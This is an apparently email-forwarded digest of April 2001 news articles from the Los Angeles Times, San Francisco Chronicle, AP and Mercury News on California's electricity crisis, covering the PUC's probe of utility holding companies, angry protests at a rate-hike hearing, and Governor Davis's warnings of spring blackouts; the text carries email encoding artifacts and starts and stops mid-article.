?????Some firms are contesting the findings, saying the prices they charged=
=20
were justified.=20
?????Investigators and regulators have faced a vexing challenge trying to=
=20
unravel the complex financial workings of the large power traders. The=20
companies closely guard information, and some recently refused to comply wi=
th=20
subpoenas from the state Public Utilities Commission, which is also probing=
=20
?????Whether the Senate investigating committee will have the resources and=
=20
tenacity to get much further remains to be seen. But Democrats and=20
Republicans alike insist they are serious about untangling how the power=20
market went haywire.
?????"I haven't seen that much smoke where there hasn't been a fire," Dunn=
=20
said.=20

---
-------------------------------------

Probe of Utility Money Transfers Ordered=20

Finance: PUC wants to know whether payments to holding companies were prope=
r,=20
and whether parent firms gave all the help they could to subsidiaries.=20
Companies deny any impropriety.=20

By TIM REITERMAN and NANCY RIVERA BROOKS, Times Staff Writers=20

?????SAN FRANCISCO--After dozens of protesters assailed them for a recent=
=20
electricity rate hike, state regulators Tuesday ordered an investigation in=
to=20
the transfer of billions of dollars from utilities to parent companies and=
=20
whether the parents failed to help them during the energy crisis.
?????"This order is absolutely necessary to establish the credibility for a=
ny=20
rate hike," said California Public Utilities Commission member Geoffrey=20
Brown. "We should be assured no assets were transferred imprudently to the=
=20
parent companies and no assets in the parent were available" to help=20
financially troubled utilities.
?????The commission adopted the order on a 4-0 vote during an uproarious=20
meeting that started with 1
 hours of public testimony and was disrupted=20
repeatedly by a few dozen protesters who chanted "public power now" and urg=
ed=20
state takeover of the utilities.
?????The PUC probe targets Pacific Gas & Electric Co., Southern California=
=20
Edison Co., San Diego Gas & Electric Co. and their respective holding=20
companies.
?????Spokesmen for the parent companies--PG&E Corp., Edison International a=
nd=20
Sempra Energy--denied any impropriety and said previous PUC audits have fou=
nd=20
no wrongdoing.
?????"The commission, which is probably faced with one of the greatest=20
challenges since the state was formed in 1850, is wasting its time reviewin=
g=20
old ground," said PG&E Corp. spokesman Greg Pruett.
?????Commissioners expressed concern that the utilities transferred billion=
s=20
of dollars to their holding companies while experiencing financial=20
difficulties. They said the parents evidently did not help out the utilitie=
s,=20
which sought rate increases to cover their excess costs.
?????"We will examine whether this apparent failure violates [PUC=20
regulations] that the holding company give 'first priority' to the capital=
=20
needs of its utility subsidiary," the order said.
?????The PUC said the parent companies disbursed much of the money as=20
dividends, stock repurchases and other payments.
?????Sempra spokesman Art Larson dismissed any suggestion that the parent=
=20
neglected SDG&E, noting that it invested $324 million in the utility last=
=20
year. "It's the most in the past seven years," he said. "That speaks for=20
itself."
?????PG&E Corp.'s Pruett said millions of dollars in dividends and loan=20
repayments to shareholders would have been made whether there was a holding=
=20
company or not. "It's a specious argument [by the PUC]," he said. "It's a=
=20
smoke screen."
?????Since early February, the commission had repeatedly delayed ordering t=
he=20
investigation, in part to avoid jeopardizing the state's recent negotiation=
s=20
for the purchase of the power grid and other assets of Southern California=
=20
Edison and Pacific Gas & Electric Co., which say they are billions of dolla=
rs=20
in debt and in danger of bankruptcy.
?????Edison International Chief Financial Officer Ted Craver declined Tuesd=
ay=20
to say whether Edison is close to signing an agreement, noting, "Discussion=
s=20
are at a critical point right now."
?????Under the proposed deal, the state would purchase Edison's massive=20
high-voltage transmission system for $2.76 billion and receive other assets=
.=20
The utility could use the cash to restructure debt.
?????"It is not a done deal; it is very close to final," said Joseph Ficher=
a,=20
a consultant representing Gov. Gray Davis in negotiations with Edison.
?????However, a top utility executive, speaking on the condition of=20
anonymity, said, "There are serious disagreements on major issues."
?????The state's talks with PG&E, which had been dormant for weeks, resumed=
=20
Tuesday as that utility's negotiators met with the governor's staff,=20
according to a company official.=20
?????If a deal for transmission lines can be struck, it is subject to=20
approval by federal regulators.
?????Davis said Tuesday that if federal officials reject any deal, his "Pla=
n=20
B" is to seek state ownership of private utilities' hydroelectric plants.
?????"We are then entitled to have assets of comparable value," Davis told=
=20
reporters. "We have told utilities by that we mean their hydro assets,=20
because those are moneymakers."
?????PG&E, which operates more hydroelectric plants than Edison, has=20
repeatedly made it clear that it does not intend to give up those operation=
s.
?????Davis said he is buying five minutes of television time at 6:05 p.m.=
=20
Thursday to discuss California's energy situation.
?????The PUC, in other action to ease the energy crisis, on Tuesday adopted=
 a=20
measure that allows the Department of Water Resources to sell $12 billion t=
o=20
$14 billion in bonds to help pay for the state's power purchases for=20
cash-starved utilities and their customers.
?????That is a significant increase over the maximum $10 billion approved b=
y=20
the Legislature.
?????The PUC next must devise a formula to divide customer electricity=20
revenue among the utilities, power providers and the Department of Water=20
?????Edison executives said they fear that the PUC is underestimating=20
electricity costs--in particular those of the alternative, natural gas fire=
d=20
generators that the commission recently ordered the utilities to resume=20
paying. Even with last week's rate increase of about 40%, Craver said=20
customer revenue could fall short, which may add to the utility's debt.
?????"At best, the utility is standing still: Its cash position has not=20
improved," said Craver. "At worst, it's going backward."
?????A controversial PUC program that pays companies to use less electricit=
y=20
got an overhaul to make it more attractive to business and more useful in=
=20
helping to avoid blackouts.
?????Companies that no longer wish to participate in the so-called=20
interruptible power program will be allowed to leave without penalty, but=
=20
must repay any discounts received since Nov. 1.
?????Julie Puentes, executive vice president of the Orange County Business=
=20
Council, said the group is pleased that businesses will no longer be=20
penalized for past failures to interrupt power. But she said the decision=
=20
does nothing to help companies that did comply and lost business as a resul=
t.
?????"They were good corporate soldiers," Puentes said.
?????Companies receive discounted rates in exchange for agreeing to reduce=
=20
power use when supplies are tight, but in the last year companies have been=
=20
asked to cut power dozens of times or face big fines.
?????The new program limits power interruptions to no more than six hours a=
=20
day, four days a week and 40 hours a month. Other programs will allow=20
customers--even groups of residential customers--to be paid for reducing=20
power use, and expand a Southern California Edison operation that=20
automatically turns off some air-conditioners.
?????The commission heard more than three dozen speakers Tuesday during its=
=20
public comment period, and several protesters were ejected for disruptions.
?????Protesters challenged the commission to attend a community meeting at =
a=20
San Francisco school on April 18. Commissioner Brown agreed, saying, "I hop=
e=20
you treat me as courteously as we tried to treat you."
---=20
?????Times staff writers Dan Morain and Carl Ingram in Sacramento contribut=
ed=20
to this story.

---
Worst Power Shortage Likely In May and June, Davis Warns=20
Lynda Gledhill, Chronicle Sacramento Bureau
Wednesday, April 4, 2001=20
,2001 San Francisco Chronicle=20
URL:=20
http://www.sfgate.com/cgi-bin/article.cgi?file=3D/chronicle/archive/2001/04=
/04/M
N107852.DTL=20
Sacramento -- Gov. Gray Davis acknowledged yesterday that the state would=
=20
fall short of its goals for increased power generation this summer and warn=
ed=20
that the toughest phase of the energy crisis might be just weeks away.=20
Davis said May and June would be the most critical time for rolling blackou=
ts=20
because several planned new power plants would not be on line. He said only=
=20
4,000 megawatts of new power would be flowing by summer's end, a sharp drop=
=20
from the 5,000 megawatts he had promised in February to have on line by the=
=20
start of summer.=20
"I hope we don't have major disruptions," the Democratic governor said. "Bu=
t=20
we're hoping for the best and preparing for the worst."=20
Davis' frank admission came after a meeting with Senate Democrats to discus=
s=20
the energy crisis. Many lawmakers have expressed frustration with the lack =
of=20
information coming from Davis and his aides as the energy crisis drags on.=
=20
The governor plans to discuss the crisis during a five-minute statewide=20
television address at 6:05 p.m. tomorrow.=20
Despite the gloomy forecast, Davis said he thought California would be=20
generating more power than it needs in three years, but "we have to get=20
through the next two (years)."=20
Yesterday everyone agreed that only conservation and luck would prevent=20
summer blackouts.=20
"Everyone's concerned," said Sen. Debra Bowen, D-Marina del Rey, chairwoman=
=20
of the Senate's energy committee. "It's not possible for me to be more=20
concerned. We're hearing from businesses about the economic impact of the=
=20
interruptions of power supply. They are more concerned with the reliability=
=20
than the price."=20
The Public Utilities Commission approved last week a tiered electric rate=
=20
increase averaging 40 percent in the hope that higher prices would encourag=
e=20
conservation.=20
Lawmakers might take even more drastic action. Some senators said there is=
=20
growing support for using the state's power of condemnation to seize privat=
e=20
power plants.=20
Under the state's 1996 deregulation plan, the major utilities were required=
=20
to sell many of their power plants to private firms. State Sen Jackie Speie=
r,=20
D-Hillsborough, said senators now believe the state should take over those=
=20
generating plants.=20
CALL FOR BOLD ACTION
State Sen. Don Perata, D-Oakland, said he and several other lawmakers have=
=20
told the governor he must take bold action so people can be confident in=20
their leadership.=20
"I told him he needs to sell energy the same way he sold education," Perata=
=20
said, adding that he supports taking over the power plants.=20
"If in fact we're being taking advantage of by a school-yard bully, we need=
=20
to put a roll of pennies in our fist and cold-cock the guy," Perata said.=
=20
Speier said the governor did not dismiss the condemnation idea outright.=20
Other lawmakers believe that there is also support for a windfall-profits t=
ax=20
on private generators that have made huge profits during the power crisis.=
=20
Money raised by the profits tax could be returned to consumers or to the=20
state for its power purchases, which have topped $3.7 billion so far this=
=20
year.=20
Meanwhile, Davis aides resumed talks with Pacific Gas and Electric Co.=20
yesterday to purchase the utility's power transmission system.=20
The administration wants to buy the transmission lines to help restore=20
financial solvency to the state's investor-owned utilities, including Pacif=
ic=20
Gas and Electric Co. The utilities would then be able to use the money to p=
ay=20
off their $14 billion debt.=20
Southern California Edison already has tentatively agreed to sell the state=
=20
its transmission lines for almost $3 billion.=20
Negotiations for PG&E's transmission lines have bogged down. Davis said he=
=20
also is considering a backup plan to acquire PG&E's hydroelectric plants=20
should PG&E or Uncle Sam scuttle the transmission system deal.=20
PLANS THREATENED
"Part of the negotiations is that if the transmission lines purchase is not=
=20
approved by the federal government, we would still get an asset like the=20
hydro plants," Davis said.=20
As the crisis wears on, Davis has become a leading proponent of energy=20
conservation. Davis has promised a 20 percent rebate on power bills to all=
=20
Californians who reduce their electricity consumption by one-fifth beginnin=
g=20
June 1.=20
Davis continued his push yesterday, encouraging lawmakers at yesterday's=20
meeting to pass several conservation bills this week. But two key=20
conservation bills faced difficult hearings yesterday.=20
An Assembly bill that would spend $400 million on various conservation=20
efforts stalled in the Senate Appropriations Committee because the Davis=20
administration had not agreed to it.=20
The second bill, by Sen. Byron Sher, D-Palo Alto, which would allocate $700=
=20
million for conservation measures, has been languishing for weeks. It passe=
d=20
the Assembly Appropriations Committee yesterday over the objections of the=
=20
author, after negotiations between Democrats and Republicans the night=20
before.=20
E-mail Lynda Gledhill at lgledhill@sfchronicle.com.=20
,2001 San Francisco Chronicle ? Page?A - 1=20
---
Vocal Citizens Berate PUC=20
Police remove several protesters=20
David Lazarus, Chronicle Staff Writer
URL:=20
/04/M
N196936.DTL=20

The normally subdued San Francisco chambers of the state Public Utilities=
=20
Commission rang out with chanting, song and even poetry yesterday as Bay Ar=
ea=20
consumers turned out in force to protest an average 40 percent rate increas=
e.=20
About half a dozen protesters were escorted or dragged from the auditorium =
by=20
California Highway Patrol officers.=20
"You no longer represent the public," Oakland resident Joel Tena told the=
=20
commissioners. "You represent big business. You are cronies for the=20
corporations."=20
Most speakers called on the PUC to support seizure of power plants by the=
=20
state and a tax on energy companies' profits. They also criticized the=20
commissioners for what protesters termed "back-room deal-making."=20
"Every one of you people should wake up in a prison cell for robbery," said=
=20
San Francisco resident Judy Brady.=20
The commissioners remained expressionless throughout nearly two hours of=20
public testimony. At the end, though, after repeated interruptions and=20
chanting, PUC member Geoffrey Brown voiced his irritation.=20
"A disruption of this body represents the height of undemocratic behavior,"=
=20
he said. "The Green Party should be aware that if they want to be taken=20
seriously, they must abide by the legal processes."=20
A man in a Green Party T-shirt shouted back, "Civil disobedience is a=20
response of necessity." He was immediately escorted from the hall by a CHP=
=20
officer.=20
VOTES ON SEVERAL ISSUES
Protests aside, the PUC also found time for some important business. Among=
=20
yesterday's actions:=20
-- The commission approved a series of measures intended to promote=20
conservation and ease the threat of blackouts this summer. However, it=20
remained unclear who will pay the multibillion-dollar price to implement th=
e=20
programs.=20
-- An investigation was begun into money transfers between California's=20
near-bankrupt utilities and their affluent parent companies. The PUC wants =
to=20
know if the transfers violated state law.=20
-- Pacific Gas and Electric Co. was blocked from selling off a Kern County=
=20
power plant and ordered to restore the mothballed facility to operational=
=20
status.=20
-- PG&E was ordered to study the environmental effect of upgrading power=20
lines running between the southern and northern halves of the state. A=20
midstate bottleneck now leaves Northern California more vulnerable to power=
=20
failures.=20
Consumers were equally displeased yesterday with the PUC, utilities, power=
=20
companies and Gov. Gray Davis, who has portrayed himself as having been out=
=20
of the loop when his appointees on the commission approved the largest rate=
=20
increase in state history last week.=20
SONG OF PROTEST
Lellingby Boyce, a retired Oakland schoolteacher, got the audience singing=
=20
along with her original song, "PG&E Stop A-Pimping Off Me."=20
Among the lyrics: "It's clear to us consumers we're the jokers getting=20
screwed. I'm reading now by candlelight, wrapped in blankets day and night.=
"=20
Meanwhile, San Francisco poet David Alt offered a loftier critique of the=
=20
PUC's rate increase. "Your stench of unspoken arrogance disgusts us," he re=
ad=20
aloud.=20
A number of speakers took the commissioners to task for overlooking the=20
hardship of rate increases on low-income and elderly people.=20
"I thought you would look out for our best interests," said Marie Harrison,=
 a=20
resident of San Francisco's Bayview-Hunters Point district. "But my faith i=
s=20
gone. I can't believe you overlooked us."=20
"It makes me angry when the utilities tell us to cut back," agreed Berkeley=
=20
resident Jenna Woloshyn. "We're already using less electricity, and we can'=
t=20
pay for it."=20
Eva Skoufis said she moved to the United States from Greece in 1968 to esca=
pe=20
the military dictatorship that had taken control of the country. She now ow=
ns=20
a coin laundry in San Francisco's Noe Valley and said her energy bills have=
=20
tripled in recent months.=20
'CAPITALISTIC DICTATORSHIP'=20
"I came from one dictatorship," Skoufis said. "Now I face a capitalistic=20
dictatorship. I want to believe that democracy in this country works."=20
Mary Bull, a San Francisco computer consultant, addressed the PUC with a=20
plastic handcuff attached to her $243 PG&E bill.=20
"Anyone who believes that you are anything more than Gov. Davis' political=
=20
lackeys are gravely mistaken," she said. "This hearing is a sham."=20
Bull then called on the crowd to join her in taking over the commissioners'=
=20
dais and declaring the meeting adjourned.=20
As protesters swarmed forward, CHP officers raced down the aisles and began=
=20
herding people outside.=20
One protester, San Francisco student David Russitano, had to be dragged fro=
m=20
the hall.=20
RULES OF BATTLE
Before yesterday's meeting, CHP Sgt. Ed Saenz had spoken quietly with=20
consumer activist Medea Benjamin. He politely told her that she would not b=
e=20
able to return if he was forced to throw her out.=20
Benjamin said she understood but noted that her left shoulder was hurt. "Yo=
u=20
can pull on this one," she told Saenz, "but not this one."=20
"OK," the officer replied.=20
After Bull brought the raucous hearing to a close, Saenz made sure he was t=
he=20
one to escort Benjamin outside.=20
E-mail David Lazarus at dlazarus@sfchronicle.com.=20
,2001 San Francisco Chronicle ? Page?A - 6=20
---
PUC faces angry backlash to electricity rate increases=20
MICHAEL LIEDTKE, AP Business Writer
,2001 Associated Press=20
URL:=20
http://www.sfgate.com/cgi-bin/article.cgi?file=3D/news/archive/2001/04/04/s=
tate0
345EDT0115.DTL=20
(04-04) 06:37 PDT SAN FRANCISCO (AP) -- While California Gov. Gray Davis=20
urged lawmakers to approve $1.12 billion in energy conservation measures,=
=20
state power regulators bore the brunt of the public's outrage over rising=
=20
electricity rates during an animated hearing Tuesday.=20
In strident remarks delivered in crowd-pleasing rap songs, indignant poetry=
=20
and pleas of poverty, utility customers blasted the Public Utilities=20
Commission for its March 27 decision approving electricity rates increases =
of=20
more than 40 percent on average for customers of Pacific Gas and Electric C=
o.=20
and Southern California Edison Co.=20
While the details differed during 90 minutes of venting, the gist of the=20
statements shared a common theme. Virtually everyone portrayed the state's=
=20
energy watchdogs as the lapdogs of both the utilities and the power=20
generators reaping huge profits at California's expense.=20
``You are cronies for big business,'' sneered Oakland resident Joel Tena.=
=20
``Your stench of unspoken arrogance disgusts us,'' said San Francisco=20
resident David Alt as he read from an acerbic poem.=20
The backlash aimed at the PUC came on the same day that the regulators ende=
d=20
months of delay and agreed to investigate for signs of financial misconduct=
=20
at the parent companies of PG&E, SoCal Edison and San Diego Gas and Electri=
c.=20
The inquiry will focus on whether the holding companies, PG&E Corp., Edison=
=20
International and Sempra Energy Corp., milked the nearly bankrupt utilities=
=20
for cash and hoarded profits from their unregulated businesses that should=
=20
have been used to help bail out the utilities.=20
Forced to pay more for electricity on the wholesale market than they could=
=20
charge their customers, the two utilities say they have run up combined deb=
ts=20
of about $14 billion in 10 months.=20
If the PUC probe finds evidence of wrongdoing, the holding companies could =
be=20
fined and forced to inject more cash into the ailing utilities, a move that=
=20
might reverse the recent rate increases.=20
Insisting that they have done nothing wrong, the utility holding companies=
=20
described the PUC investigation as a waste of time.=20
Meanwhile in Sacramento, the Assembly Appropriations Committee sent three=
=20
power-related bills to the full Assembly that would fund energy efficieny=
=20
programs and speed up the siting of power plants and cap the rates of large=
=20
business customers of San Diego Gas and Electric Co., the only customers in=
=20
the state currently paying the full market rates for power.=20
Independent power producers say Davis' hopes for 5,000 more megawatts of=20
power by summer will probably fail to emerge because existing plants that=
=20
produce thousands of megawatts are going off-line because they haven't been=
=20
paid in months.=20
A megawatt is enough electricity to power about 750 homes. The state was fr=
ee=20
of power alerts Wednesday morning as reserves stayed above 7 percent.=20
In other actions, the PUC also approved measures meant to encourage more=20
businesses to volunteer for power outages of up to 40 hours per month in=20
exchange for year-round 15 percent discounts on their bills.=20
The new program also will expand the power customers exempted from future=
=20
energy-saving blackouts to include all hospitals. Previously, utilities wer=
e=20
allowed to cut power to hospitals with backup generators or fewer than 100=
=20
beds.=20
With the expanded ``voluntary interruption'' program, the PUC hopes to free=
=20
up more power and reduce the frequency of blackouts expected to bedevil=20
California during the heat of the summer.=20
But the program also threatens to worsen the financial condition of the=20
utilities because it doesn't include financing provisions to cover the 15=
=20
percent discounts.=20
The program will cost SDG&E about $1.5 billion annually, estimated PUC=20
Commissioner Henry Duque, who proposed adding a new surcharge to finance th=
e=20
plan.=20
PG&E and SoCal Edison also said the voluntary program will hurt them=20
financially, but couldn't provide a specific breakdown on the additional=20
expense.=20
PUC Commissioner Geoffrey Brown said the surcharge was a good idea, but the=
=20
timing was bad. ``The psychology of (a surcharge) would be disastrous for t=
he=20
commission right now,'' he said. ``I could just see the newspaper headlines=
''=20
if the surcharge were passed.=20
The PUC rejected the surcharge 3-1.=20
Retired school teacher Wellingby Boyce of Davis drew the biggest reaction=
=20
when she sang a song titled ``PG&E Stop Pimping Off Me.''=20
``I'm reading now by candlelight, wrapped in blankets day and night,'' Boyc=
e=20
rapped to a cheering audience that included protesters from the Green Party=
=20
and a grass-roots group called ``Public Power Now.''=20
Both groups are pushing the state to seize control of the regulated utiliti=
es=20
and California's electricity plants.=20
Other speakers told more somber stories. San Francisco Laundromat owner Eva=
=20
Skoufis, who immigrated to California from Greece in 1968, said her=20
electricity bill is already 2 1/2 times higher then a few months ago and=20
wonders whether her business can survive another price shock.=20
``I came here because I wanted to escape a (Greek) dictatorship,'' she said=
=20
during an interview. ``But I think we are living in a capitalist dictatorsh=
ip=20
here.''=20
PUC President Loretta Lynch said she believed the protesters conveyed=20
widespread frustration over the rapidly rising price of power.=20
``I'm glad people are upset because it means they are paying attention,''=
=20
Lynch said. ``Hopefully, we can all band together against the energy=20
wholesalers responsible for this mess.''=20
---
----------------
California regulators face angry backlash to electricity rate increases=20
URL:=20
http://www.sfgate.com/cgi-bin/article.cgi?file=3D/news/archive/2001/04/04/n=
ation
al0008EDT0402.DTL=20
(04-04) 07:23 PDT SAN FRANCISCO (AP) -- Some Californians have turned to so=
ng=20
and rhyme to vent their anger at the commission that approved electricity=
=20
rate increases for customers of the state's cash-strapped utilities.=20
resident David Alt, reading an acerbic poem.=20
``I'm reading now by candlelight, wrapped in blankets day and night,'' rapp=
ed=20
retired teacher Wellingby Boyce of Davis, drawing applause Tuesday at a=20
meeting of the Public Utilities Commission.=20
The commission last week approved rate increases of more than 40 percent fo=
r=20
customers of Pacific Gas and Electric Co. and Southern California Edison Co=
.=20
On Wednesday morning, the state was free of power alerts as reserves stayed=
=20
above 7 percent. State power grid officials issued a Stage 2 alert -- meani=
ng=20
reserves were below 5 percent -- on Monday after transmission lines were=20
downed by high wind, interfering with electricity imported from the=20
Northwest.=20
Commissioner Geoffrey Brown dismissed the protesters at Tuesday's meeting a=
s=20
unruly ``self-appointed activists'' who were long on rhetoric and short on=
=20
solutions.=20
Commission President Loretta Lynch said she believed the protesters conveye=
d=20
=20
The majority of protesters belonged to the Green Party and a group called=
=20
``Public Power Now,'' which are pushing the state to seize control of the=
=20
regulated utilities and California's electricity plants.=20
Also Monday, the commission agreed to investigate the parent companies of=
=20
PG&E and SoCal Edison, as well as Sempra Energy Corp., the holding company=
=20
for San Diego Gas and Electric, for possible financial misconduct.=20
The companies said they have done nothing wrong and described the PUC=20
investigation as a waste of time.=20
The inquiry will focus on whether PG&E Corp. and Edison International milke=
d=20
the nearly bankrupt utilities for cash and hoarded profits from their=20
unregulated businesses that should have been used to help bail out the=20
utilities.=20
=20
charge their customers under the state's 1996 energy deregulation law, the=
=20
two utilities say they have run up combined debts of about $14 billion over=
=20
the last 10 months.=20
---
Developments in California's power crisis=20
The Associated Press
URL:=20
tate0
907EDT0141.DTL=20
, , -- (04-04) 07:47 PDT Here is a look at developments in California's=20
electricity crisis:=20
WEDNESDAY:< ?-- An Assembly committee are expected to hear a bill by Assemb=
lyman Dean ?Florez, D-Shafter, that he calls an alternate to Davis' plan to=
 buy the ?utilities' transmission lines. ?Florez' bill would create special=
 districts of each utilities' properties, ?including their land, transmissi=
on lines, power plants and even their ?corporate offices. Each district wou=
ld issue bonds against the property, and ?the state would assess a tax on t=
hat property to repay the bonds. If a ?utility defaulted on the taxes, the =
state would be first in line to take the ?property after paying the balance=
 of the bonds. ?-- The state remained free of power alerts early Wednesday =
morning as ?reserves stayed above 7 percent. ?-- The University of Californ=
ia, Los Angeles, is expected to release a report ?on how the state's energy=
 problems have effected the state and national ?economies. ?-- Energy Commi=
ssion lawyers have decided that California cannot require ?builders of new =
power plants to sell electricity to California, even in ?exchange for a rus=
hed environmental review of their projects, The Sacramento ?Bee reports. ?T=
UESDAY:<=20
-- Gov. Gray Davis asks television stations statewide to cover a live 6:05=
=20
p.m. five-minute broadcast from his office Thursday for what a spokesman sa=
ys=20
will be a statement on energy.=20
-- Davis launches a new public relations effort, sending national and=20
California media daily updates on his efforts to solve the state's energy=
=20
problems.=20
-- Davis says California's hot-weather power crunch could hit as early as M=
ay=20
or June because new power plants will not be up and running until July or=
=20
August. He's urging lawmakers to approve more than a billion dollars in=20
energy conservation incentives this week to reduce the likelihood of more=
=20
rolling blackouts.=20
Meanwhile, Sen. Jackie Speier, D-Daly City, says after Senate Democrats mee=
t=20
privately with Davis that there is growing support among senators for seizi=
ng=20
-- A committee sends three power-related bills to the full Assembly: one=20
funding energy efficiency programs; one speeding up the siting of power=20
plants; and one capping the rates of large business customers of San Diego=
=20
Gas and Electric Co., the only customers in the state currently paying the=
=20
full market rates for power.=20
-- Independent power producers say Davis' hopes for 5,000 more megawatts of=
=20
=20
=20
-- Power grid managers ease the state's Stage 2 alert as demand drops and=
=20
supplies increase. The alert was declared Monday when downed transmission=
=20
lines complicated the flow of electricity up the state and about 13,000=20
megawatts of electricity remained off-line for repairs or maintenance.=20
Some 3,000 megawatts of alternative energy remains unavailable because the=
=20
generators have not been paid by utility companies in months. One megawatt=
=20
can power about 750 homes.=20
-- Customers and consumer advocates lambast the Public Utilities Commission=
=20
for last week's huge electric rate hikes, delivering their criticism in=20
everything from rap songs to indignant poetry.=20
-- Ending months of delay, the PUC agrees to investigate for signs of=20
financial misconduct at the parent companies of PG&E and SoCal Edison. The=
=20
inquiry will focus on whether the holding companies, PG&E Corp., and Edison=
=20
International, milked the nearly bankrupt utilities for cash and hoarded=20
profits that should have been used to help bail out the utilities.=20
-- The PUC approves measures meant to encourage more businesses to voluntee=
r=20
for power outages of up to 40 hours per month in exchange for year-round 15=
=20
percent discounts on their bills. With the expanded ``voluntary=20
interruption'' program, the PUC hopes to free up more power this summer and=
=20
reduce the frequency of expected blackouts.=20
--The PUC approves a biological study to determine whether a critical Centr=
al=20
Valley transmission line known as ``Path 15'' can be expanded to ferry more=
=20
power from Southern California to Northern California.=20
--The PUC orders PG&E and San Diego Gas and Electric to develop a program=
=20
that will enable the utilities to turn off household air conditioners durin=
g=20
periods of energy shortages. Households that participate in the program,=20
scheduled to be introduced in the summer of 2002, would receive rebates of=
=20
$25 to $100.=20
-- The PUC exempts all hospitals from rolling blackouts, after urging from=
=20
the California Healthcare Association calls on the PUC to exempt hospitals=
=20
from rolling blackouts. The association says more than a dozen hospitals lo=
st=20
power during two days of blackouts last month.=20
-- Officials at Southern California Edison Co. announce two more lawsuits=
=20
from alternative energy suppliers, bringing the total to eight. The supplie=
rs=20
are suing for payments owed since November.=20
-- Edison says it will file its annual earnings information with the=20
Securities and Exchange Commission on April 17. Edison said last week that=
=20
its filing would be late.=20
-- In a conference call with bondholders, Edison officials say the recent P=
UC=20
rate increase of 3 cents per kilowatt hour won't do anything to help Edison=
=20
pull out of its financial problems.=20
An Edison analysis of the increase indicates that all of that money will go=
=20
to the state to pay for power, not to the utilities, Edison's Ted Craver=20
said. ``I believe that is the practical conclusion,'' Craver said. ``The=20
phrase `Show me the money' comes to mind. We don't know whether they intend=
=20
to take additional action, but it appears that we are standing still.''=20
-- A group of 10 alternative power providers issues a statement increasing=
=20
the amount they are owed by $150 million to more than $700 million. The=20
suppliers said they are owed by Edison and PG&E for power supplied since=20
November. The companies, which include EnXco, Caithness and Coram, say they=
=20
supply 3 million homes' worth of power to the state grid.=20
-- Western States Petroleum Association calls on lawmakers to approve a bil=
l=20
exempting fuel refineries from rolling blackouts. The association says it=
=20
takes days for refineries to reopen, endangering gasoline production.=20
-- State Sen. Jim Battin, R-Palm Desert, warns Gov. Davis in a letter that=
=20
people could die unless the state enacts his bill to bar rolling blackouts =
in=20
areas where the temperature exceeds 105 degrees.=20
-- California Poultry Federation and Pacific Egg and Poultry Association wa=
rn=20
that summer blackouts could kill millions of chickens within minutes if pow=
er=20
for ventilation and cooling is cut off.=20
-- Crews dismantling the Rancho Seco nuclear power plant near Sacramento=20
begin removing radioactive fuel rods from a pool where they were cooled for=
=20
more than 10 years.=20
-- The stock of PG&E's parent, PG&E Corp., drops 19 cents a share to close =
at=20
$11.56. Edison's parent, Edison International, sees its stock fall 9 cents =
a=20
share to close at $12.55.=20
<=20
WHAT'S NEXT:< ?-- The Davis administration continues negotiations with Edis=
on, PG&E and San ?Diego Gas & Electric Co. over state acquisition of their =
transmission lines. ?-- FERC holds a conference April 10 in Boise, Idaho, o=
n Western energy ?issues. ?-- The House Government Reform Committee plans e=
nergy hearings in three ?California cities, including April 10 in Sacrament=
o, April 11 in San Jose and ?April 12 in San Diego. ?< ?THE PROBLEM:<=20
High demand, high wholesale energy costs, transmission glitches and a tight=
=20
supply worsened by scarce hydroelectric power in the Northwest and=20
maintenance at aging California power plants are all factors in California'=
s=20
electricity crisis.=20
Edison and PG&E say they've lost nearly $14 billion since June to high=20
wholesale prices that the state's electricity deregulation law bars them fr=
om=20
passing onto ratepayers, and are close to bankruptcy.=20
Electricity and natural gas suppliers, scared off by the two companies' poo=
r=20
credit ratings, are refusing to sell to them, leading the state in January =
to=20
start buying power for the utilities' nearly 9 million residential and=20
business customers.=20
---

Power gap greatest in May, June=20
Posted at 10:09 p.m. PDT Tuesday, April 3, 2001=20
BY JOHN WOOLFOLK AND DION NISSENBAUM=20

Mercury News=20

Californians bracing for acute power shortages and rolling blackouts this=
=20
summer may see the worst of the crisis as early as next month, Gov. Gray=20
Davis acknowledged Tuesday.=20
Urging lawmakers to pass power conservation measures, Davis noted what many=
=20
energy officials have been eyeing with growing concern: that state efforts =
to=20
secure more power won't bear much fruit until late summer or fall.=20
Plans to obtain power contracts and portable generators for the summer are=
=20
falling short. In addition, supplies from northwest dams and alternative=20
energy generators are drying up.=20
``Usually the challenge is in August or September,'' Davis said. ``This yea=
r,=20
the challenge may well be in May and June.''=20
Underscoring the severity of the crisis, Davis announced he has asked=20
television stations to grant him five minutes of airtime at 6:05 p.m.=20
Thursday to talk about energy. The last time a governor asked to address th=
e=20
public in a special broadcast was nine years ago when Gov. Pete Wilson talk=
ed=20
about the state's budget problems.=20
The state's sense of urgency comes amid growing evidence that California's=
=20
gap between power demand and available supply may be greatest in late sprin=
g=20
and early summer.=20
Meanwhile, state regulators on Tuesday adopted a rash of proposals aimed at=
=20
easing the pain of coming shortages and blackouts at a raucous hearing pack=
ed=20
with protesters and others seeking exemptions.=20
When Davis announced a series of initiatives in February to pull California=
=20
out of the crisis, he expected to have 95 percent of the state's unmet powe=
r=20
needs secured in long-term contracts with energy suppliers.=20
He launched financial incentives and streamlined approval measures to bring=
=20
new power supplies online by early to mid-summer, hoping to alleviate peak=
=20
shortages and curb runaway power prices.=20
Two months later, much of that has failed to materialize. The state so far=
=20
has signed contracts for just half the amount needed, and most of that powe=
r=20
won't be available for a few years. This year, the state has signed up abou=
t=20
a third of what is needed.=20
In addition, initiatives to put a host of small, portable generators in pla=
ce=20
to meet peak summer power demand are lagging. Plans by the California=20
Independent System Operator, which runs the main transmission grid, to get=
=20
3,000 megawatts of power from these ``peaker'' plants came up with less tha=
n=20
half that amount.=20
Likewise, Davis' initiative to get an additional 1,000 megawatts of peaker=
=20
power online by the end of August has netted just 362 megawatts, with the=
=20
first plants firing up in July. The Davis administration last month extende=
d=20
the deadline to the end of September, a move expected to boost the amount o=
f=20
peaker power to 960 megawatts.=20
Other major power sources coming this summer, two Calpine Corp. plants=20
totaling 1,060 megawatts in July and 360-megawatts in August, have long bee=
n=20
in the works. They remain on schedule, but won't do anything for May and=20
June.=20
Meanwhile, supplies once counted on are evaporating. A severe drought in th=
e=20
Pacific Northwest has dried up the dams that are a major source of imported=
=20
hydroelectric power for California.=20
And small alternative-energy producers that provide a third of the major=20
utilities' power have been cutting off supply, pulling some 3,000 megawatts=
=20
off the grid and contributing to blackouts last month.=20
The generators say they can no longer supply power because the nearly=20
bankrupt utilities haven't paid them, and are not satisfied with efforts by=
=20
the governor and regulators to fix that problem.=20
``You could easily see another 1,000 megawatts off-line by the end of the=
=20
